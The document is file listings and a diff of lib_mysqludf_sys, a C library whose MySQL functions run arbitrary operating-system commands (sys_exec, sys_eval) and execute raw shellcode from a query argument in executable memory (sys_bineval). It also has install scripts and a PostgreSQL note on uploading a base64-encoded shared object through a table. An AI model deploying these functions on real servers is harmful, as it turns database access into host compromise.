, "No arguments allowed (udf: lib_mysqludf_sys_info)"
);
status = 1;
} else {
status = 0;
}
return status;
}
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
){
}
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
strcpy(result,LIBVERSION);
*length = strlen(LIBVERSION);
return result;
}
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count==1
&& args->arg_type[0]==STRING_RESULT){
initid->maybe_null = 1;
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_get_deinit(
UDF_INIT *initid
){
}
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
char* value = getenv(args->args[0]);
if(value == NULL){
*is_null = 1;
} else {
*length = strlen(value);
}
return value;
}
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count!=2){
strcpy(
message
, "Expected exactly two arguments"
);
return 1;
}
if(args->arg_type[0]!=STRING_RESULT){
strcpy(
message
, "Expected string type for name parameter"
);
return 1;
}
args->arg_type[1]=STRING_RESULT;
if((initid->ptr=malloc(
args->lengths[0]
+ 1
+ args->lengths[1]
+ 1
))==NULL){
strcpy(
message
, "Could not allocate memory"
);
return 1;
}
return 0;
}
void sys_set_deinit(
UDF_INIT *initid
){
if (initid->ptr!=NULL){
free(initid->ptr);
}
}
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
char *name = initid->ptr;
char *value = name + args->lengths[0] + 1;
memcpy(
name
, args->args[0]
, args->lengths[0]
);
*(name + args->lengths[0]) = '\0';
memcpy(
value
, args->args[1]
, args->lengths[1]
);
*(value + args->lengths[1]) = '\0';
return SETENV(name,value);
}
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_exec_deinit(
UDF_INIT *initid
){
}
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
return system(args->args[0]);
}
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_eval_deinit(
UDF_INIT *initid
){
}
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
FILE *pipe;
char line[1024];
unsigned long outlen, linelen;
result = malloc(1);
outlen = 0;
pipe = popen(args->args[0], "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (!(*result) || result == NULL) {
*is_null = 1;
} else {
result[outlen-1] = 0x00;
*length = strlen(result);
}
return result;
}
my_bool sys_bineval_init(
UDF_INIT *initid
, UDF_ARGS *args
){
return 0;
}
void sys_bineval_deinit(
UDF_INIT *initid
){
}
int sys_bineval(
UDF_INIT *initid
, UDF_ARGS *args
){
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = strlen(args->args[0]);
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, args->args[0], len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
return 1;
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
return 1;
strncpy((char *)addr, args->args[0], len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
return 0;
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif
#endif /* HAVE_DLOPEN */

View File

@@ -0,0 +1,35 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
DROP FUNCTION IF EXISTS sys_bineval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.dll';

View File

@@ -0,0 +1,551 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define DLLEXP __declspec(dllexport)
#else
#define DLLEXP
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif
#ifdef STANDARD
#include <string.h>
#include <stdlib.h>
#include <time.h>
#ifdef __WIN__
typedef unsigned __int64 ulonglong;
typedef __int64 longlong;
#else
typedef unsigned long long ulonglong;
typedef long long longlong;
#endif /*__WIN__*/
#else
#include <my_global.h>
#include <my_sys.h>
#endif
#include <mysql.h>
#include <m_ctype.h>
#include <m_string.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef HAVE_DLOPEN
#ifdef __cplusplus
extern "C" {
#endif
#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
#ifdef __WIN__
#define SETENV(name,value) SetEnvironmentVariable(name,value);
#else
#define SETENV(name,value) setenv(name,value,1);
#endif
DLLEXP
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
);
DLLEXP
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_get
*
* Gets the value of the specified environment variable.
*/
DLLEXP
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_get_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_set
*
* Sets the value of the environment variables.
* This function accepts a set of name/value pairs
* which are then set as environment variables.
* Use sys_get to retrieve the value of such a variable
*/
DLLEXP
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_set_deinit(
UDF_INIT *initid
);
DLLEXP
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_exec
*
* executes the argument commandstring and returns its exit status.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_exec_deinit(
UDF_INIT *initid
);
DLLEXP
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
);
/**
* sys_eval
*
* executes the argument commandstring and returns its standard output.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
);
DLLEXP
void sys_eval_deinit(
UDF_INIT *initid
);
DLLEXP
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
);
/**
* sys_bineval
*
* executes bynary opcodes.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_bineval_init(
UDF_INIT *initid
, UDF_ARGS *args
);
DLLEXP
void sys_bineval_deinit(
UDF_INIT *initid
);
DLLEXP
int sys_bineval(
UDF_INIT *initid
, UDF_ARGS *args
);
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef __cplusplus
}
#endif
/**
* lib_mysqludf_sys_info
*/
my_bool lib_mysqludf_sys_info_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
my_bool status;
if(args->arg_count!=0){
strcpy(
message
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
);
status = 1;
} else {
status = 0;
}
return status;
}
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
){
}
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
strcpy(result,LIBVERSION);
*length = strlen(LIBVERSION);
return result;
}
my_bool sys_get_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count==1
&& args->arg_type[0]==STRING_RESULT){
initid->maybe_null = 1;
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_get_deinit(
UDF_INIT *initid
){
}
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
char* value = getenv(args->args[0]);
if(value == NULL){
*is_null = 1;
} else {
*length = strlen(value);
}
return value;
}
my_bool sys_set_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
if(args->arg_count!=2){
strcpy(
message
, "Expected exactly two arguments"
);
return 1;
}
if(args->arg_type[0]!=STRING_RESULT){
strcpy(
message
, "Expected string type for name parameter"
);
return 1;
}
args->arg_type[1]=STRING_RESULT;
if((initid->ptr=malloc(
args->lengths[0]
+ 1
+ args->lengths[1]
+ 1
))==NULL){
strcpy(
message
, "Could not allocate memory"
);
return 1;
}
return 0;
}
void sys_set_deinit(
UDF_INIT *initid
){
if (initid->ptr!=NULL){
free(initid->ptr);
}
}
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
char *name = initid->ptr;
char *value = name + args->lengths[0] + 1;
memcpy(
name
, args->args[0]
, args->lengths[0]
);
*(name + args->lengths[0]) = '\0';
memcpy(
value
, args->args[1]
, args->lengths[1]
);
*(value + args->lengths[1]) = '\0';
return SETENV(name,value);
}
my_bool sys_exec_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_exec_deinit(
UDF_INIT *initid
){
}
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
, char *is_null
, char *error
){
return system(args->args[0]);
}
my_bool sys_eval_init(
UDF_INIT *initid
, UDF_ARGS *args
, char *message
){
unsigned int i=0;
if(args->arg_count == 1
&& args->arg_type[i]==STRING_RESULT){
return 0;
} else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
void sys_eval_deinit(
UDF_INIT *initid
){
}
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error
){
FILE *pipe;
char line[1024];
unsigned long outlen, linelen;
result = malloc(1);
outlen = 0;
pipe = popen(args->args[0], "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (!(*result) || result == NULL) {
*is_null = 1;
} else {
result[outlen-1] = 0x00;
*length = strlen(result);
}
return result;
}
my_bool sys_bineval_init(
UDF_INIT *initid
, UDF_ARGS *args
){
return 0;
}
void sys_bineval_deinit(
UDF_INIT *initid
){
}
int sys_bineval(
UDF_INIT *initid
, UDF_ARGS *args
){
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = strlen(args->args[0]);
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, args->args[0], len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
return 1;
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
return 1;
strncpy((char *)addr, args->args[0], len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
return 0;
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif
#endif /* HAVE_DLOPEN */

View File

@@ -0,0 +1,354 @@
diff -uN lib_mysqludf_sys_0.0.2/install.sh lib_mysqludf_sys/install.sh
--- lib_mysqludf_sys_0.0.2/install.sh 1970-01-01 01:00:00.000000000 +0100
+++ lib_mysqludf_sys/install.sh 2009-01-21 00:51:52.000000000 +0000
@@ -0,0 +1,43 @@
+#!/bin/bash
+# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+# Copyright (C) 2007 Roland Bouman
+# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+# web: http://www.mysqludf.org/
+# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
+#
+# This library is free software; you can redistribute it and/or
+# modify it under the terms of the GNU Lesser General Public
+# License as published by the Free Software Foundation; either
+# version 2.1 of the License, or (at your option) any later version.
+#
+# This library is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# Lesser General Public License for more details.
+#
+# You should have received a copy of the GNU Lesser General Public
+# License along with this library; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+
+echo "Compiling the MySQL UDF"
+make
+
+if test $? -ne 0; then
+ echo "ERROR: You need libmysqlclient development software installed "
+ echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
+ echo "apt-get install libmysqlclient15-dev"
+ exit 1
+else
+ echo "MySQL UDF compiled successfully"
+fi
+
+echo -e "\nPlease provide your MySQL root password"
+
+mysql -u root -p mysql < lib_mysqludf_sys.sql
+
+if test $? -ne 0; then
+ echo "ERROR: unable to install the UDF"
+ exit 1
+else
+ echo "MySQL UDF installed successfully"
+fi
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys_0.0.2.tar.gz and lib_mysqludf_sys/lib_mysqludf_sys_0.0.2.tar.gz differ
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c lib_mysqludf_sys/lib_mysqludf_sys.c
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.c 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.c 2009-01-21 00:06:13.000000000 +0000
@@ -1,8 +1,9 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
- web: http://www.xcdsql.org/MySQL/UDF/
- email: mysqludfs@gmail.com
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+ web: http://www.mysqludf.org/
+ email: mysqludfs@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
@@ -51,7 +52,7 @@
extern "C" {
#endif
-#define LIBVERSION "lib_mysqludf_sys version 0.0.2"
+#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
#ifdef __WIN__
#define SETENV(name,value) SetEnvironmentVariable(name,value);
@@ -139,7 +140,7 @@
/**
* sys_exec
*
- * executes the argument commandstring.
+ * executes the argument commandstring and returns its exit status.
* Beware that this can be a security hazard.
*/
DLLEXP
@@ -162,6 +163,34 @@
, char *error
);
+/**
+ * sys_eval
+ *
+ * executes the argument commandstring and returns its standard output.
+ * Beware that this can be a security hazard.
+ */
+DLLEXP
+my_bool sys_eval_init(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char *message
+);
+
+DLLEXP
+void sys_eval_deinit(
+ UDF_INIT *initid
+);
+
+DLLEXP
+char* sys_eval(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char* result
+, unsigned long* length
+, char *is_null
+, char *error
+);
+
#ifdef __cplusplus
}
@@ -336,5 +365,62 @@
return system(args->args[0]);
}
+my_bool sys_eval_init(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char *message
+){
+ unsigned int i=0;
+ if(args->arg_count == 1
+ && args->arg_type[i]==STRING_RESULT){
+ return 0;
+ } else {
+ strcpy(
+ message
+ , "Expected exactly one string type parameter"
+ );
+ return 1;
+ }
+}
+void sys_eval_deinit(
+ UDF_INIT *initid
+){
+}
+char* sys_eval(
+ UDF_INIT *initid
+, UDF_ARGS *args
+, char* result
+, unsigned long* length
+, char *is_null
+, char *error
+){
+ FILE *pipe;
+ char line[1024];
+ unsigned long outlen, linelen;
+
+ result = malloc(1);
+ outlen = 0;
+
+ pipe = popen(args->args[0], "r");
+
+ while (fgets(line, sizeof(line), pipe) != NULL) {
+ linelen = strlen(line);
+ result = realloc(result, outlen + linelen);
+ strncpy(result + outlen, line, linelen);
+ outlen = outlen + linelen;
+ }
+
+ pclose(pipe);
+
+ if (!(*result) || result == NULL) {
+ *is_null = 1;
+ } else {
+ result[outlen] = 0x00;
+ *length = strlen(result);
+ }
+
+ return result;
+}
+
#endif /* HAVE_DLOPEN */
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html lib_mysqludf_sys/lib_mysqludf_sys.html
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.html 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.html 2009-01-22 10:21:46.000000000 +0000
@@ -23,7 +23,8 @@
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
</p>
<ol>
- <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and can thus be used to launch an external application.</li>
+ <li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
+ <li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
<li><a href="#sys_get"><code>sys_get</code></a> - gets the value of an environment variable.</li>
<li><a href="#sys_set"><code>sys_set</code></a> - create an environment variable, or update the value of an existing environment variable.</li>
</ol>
@@ -31,6 +32,72 @@
Use <a href="#lib_mysqludf_sys_info"><code>lib_mysqludf_sys_info()</code></a> to obtain information about the currently installed version of <code>lib_mysqludf_sys</code>.
</p>
+
+ <a name="sys_eval"></a><h2>sys_eval</h2>
+ <p>
+ <code>sys_eval</code> takes one command string argument and executes it, returning its output.
+ </p>
+ <h3>Syntax</h3>
+<pre>sys_eval(<b>arg1</b>)</pre>
+ <h3>Parameters and Return Values</h3>
+ <dl>
+ <dt><code><b>arg1</b></code></dt>
+ <dd>
+ A command string valid for the current operating system or execution environment.
+ </dd>
+ <dt>returns</dt>
+ <dd>
+ Whatever output the command pushed to the standard output stream.
+ </dd>
+ </dl>
+ <h3>Installation</h3>
+ <p>
+ Place the shared library binary in an appropriate location.
+ Log in to mysql as root or as another user with sufficient privileges, and select any database.
+ Then, create the function using the following DDL statement:
+ </p>
+ <pre>
+CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
+ </pre>
+ <p>
+ The function will be globally available in all databases.
+ </p>
+ <p>
+ The deinstall the function, run the following statement:
+ </p>
+ <pre>
+DROP FUNCTION sys_eval;
+ </pre>
+ <h3>Examples</h3>
+ <p>
+ None yet
+ </p>
+ <h3>A Note of Caution</h3>
+ <p>
+ Be very careful in deciding whether you need this function.
+ UDFs are available to all database users - you cannot grant EXECUTE privileges for them.
+ As the commandstring passed to <code>sys_exec</code> can do pretty much everything,
+ exposing the function poses a very real security hazard.
+ </p>
+ <p>
+ Even for a benign user, it is possible to accidentally do a lot of damage with it.
+ The call will be executed with the privileges of the os user that runs MySQL,
+ so it is entirely feasible to delete MySQL's data directory, or worse.
+ </p>
+ <p>
+ The function is intended for specialized MySQL applications where one needs extended
+ control over the operating system.
+ Currently, we do not have UDF's for ftp, email and http,
+ and this function can be used to implement such functionality in case it is really necessary
+ (datawarehouse staging areas could be a case in example).
+ </p>
+ <p>
+ You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
+ </p>
+ <p>
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
+ </p>
+
<a name="sys_exec"></a><h2>sys_exec</h2>
<p>
<code>sys_exec</code> takes one command string argument and executes it.
@@ -92,6 +159,9 @@
<p>
You have been warned! If you don't see the hazard, please don't try to find it; just trust me on this.
</p>
+ <p>
+ If you do decide to use this library in a production environment, make sure that only specific commands can be run and file access is limited by using <a href="http://www.novell.com/documentation/apparmor/index.html">AppArmor</a>.
+ </p>
<a name="sys_get"></a><h2>sys_get</h2>
<p>
<code>sys_get</code> takes the name of an environment variable and returns the value of the variable.
Binary files lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.so and lib_mysqludf_sys/lib_mysqludf_sys.so differ
diff -uN lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql lib_mysqludf_sys/lib_mysqludf_sys.sql
--- lib_mysqludf_sys_0.0.2/lib_mysqludf_sys.sql 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/lib_mysqludf_sys.sql 2009-01-22 10:21:53.000000000 +0000
@@ -1,30 +1,33 @@
-/*
- lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
- Copyright (C) 2007 Roland Bouman
- web: http://www.xcdsql.org/MySQL/UDF/
- email: mysqludfs@gmail.com
-
- This library is free software; you can redistribute it and/or
- modify it under the terms of the GNU Lesser General Public
- License as published by the Free Software Foundation; either
- version 2.1 of the License, or (at your option) any later version.
-
- This library is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- Lesser General Public License for more details.
-
- You should have received a copy of the GNU Lesser General Public
- License along with this library; if not, write to the Free Software
- Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+/*
+ lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
+ Copyright (C) 2007 Roland Bouman
+ Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
+ web: http://www.mysqludf.org/
+ email: roland.bouman@gmail.com, bernardo.damele@gmail.com
+
+ This library is free software; you can redistribute it and/or
+ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+ version 2.1 of the License, or (at your option) any later version.
+
+ This library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ Lesser General Public License for more details.
+
+ You should have received a copy of the GNU Lesser General Public
+ License along with this library; if not, write to the Free Software
+ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
-drop function lib_mysqludf_sys_info;
-drop function sys_get;
-drop function sys_set;
-drop function sys_exec;
+DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
+DROP FUNCTION IF EXISTS sys_get;
+DROP FUNCTION IF EXISTS sys_set;
+DROP FUNCTION IF EXISTS sys_exec;
+DROP FUNCTION IF EXISTS sys_eval;
-create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so';
-create function sys_get returns string soname 'lib_mysqludf_sys.so';
-create function sys_set returns int soname 'lib_mysqludf_sys.so';
-create function sys_exec returns int soname 'lib_mysqludf_sys.so';
+CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
diff -uN lib_mysqludf_sys_0.0.2/Makefile lib_mysqludf_sys/Makefile
--- lib_mysqludf_sys_0.0.2/Makefile 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/Makefile 2009-01-19 09:11:00.000000000 +0000
@@ -1,6 +1,4 @@
-linux: \
- lib_mysqludf_sys.so
+LIBDIR=/usr/lib
-lib_mysqludf_sys.so: \
-
- gcc -Wall -I/opt/mysql/mysql/include -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
+install:
+ gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so
Common subdirectories: lib_mysqludf_sys_0.0.2/.svn and lib_mysqludf_sys/.svn

Binary file not shown.

View File

@@ -0,0 +1,97 @@
-- Notes:
--
-- The SO compiled using PostgreSQL 8.3 C libraries differs from the one
-- compiled using PostgreSQL 8.2 C libraries
--
-- SO compiled using PostgreSQL 8.3 C libraries
-- lib_postgresqludf_sys.so: 8567 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
-- lib_postgresqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
--
-- SO compiled using PostgreSQL 8.2 C libraries
-- lib_postgresqludf_sys.so: 8567 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
-- lib_postgresqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
--
-- Little hack to compress the shared object:
-- * Compile with -O1 the shared object
-- * Use strip to remove all symbols (-s) and non-global symbols (-x)
-- Create a table with one field data-type text
DROP TABLE IF EXISTS udftest;
CREATE TABLE udftest(data text);
-- Insert the base64 encoded UDF in the table
-- SO compiled using PostgreSQL 8.3 C libraries
